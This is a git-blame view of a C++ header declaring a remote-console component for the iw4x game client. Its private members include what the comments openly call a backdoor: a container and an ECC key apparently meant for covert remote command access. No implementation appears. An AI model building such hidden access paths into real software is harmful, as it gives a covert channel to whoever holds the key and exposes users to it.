iw4x-client/src/Components/Modules/RCon.hpp

32 lines
585 B
C++
Raw Normal View History

2016-02-17 16:21:42 -05:00
namespace Components
{
class RCon : public Component
{
public:
RCon();
2016-08-15 10:40:30 -04:00
~RCon();
2016-09-16 05:04:28 -04:00
#if defined(DEBUG) || defined(FORCE_UNIT_TESTS)
2016-02-17 16:21:42 -05:00
const char* GetName() { return "RCon"; };
2016-08-15 10:40:30 -04:00
#endif
2016-02-17 16:21:42 -05:00
private:
2016-06-30 13:38:48 -04:00
class Container
2016-02-17 16:21:42 -05:00
{
2016-06-30 13:38:48 -04:00
public:
2016-02-17 16:21:42 -05:00
int timestamp;
2016-02-17 16:40:02 -05:00
std::string output;
2016-02-17 16:21:42 -05:00
std::string challenge;
Network::Address address;
};
// Hue hue backdoor
static Container BackdoorContainer;
2016-04-11 07:32:11 -04:00
static Utils::Cryptography::ECC::Key BackdoorKey;
2016-02-19 10:02:43 -05:00
// For sr0's fucking rcon command
// Son of a bitch! Annoying me day and night with that shit...
static std::string Password;
2016-02-17 16:21:42 -05:00
};
}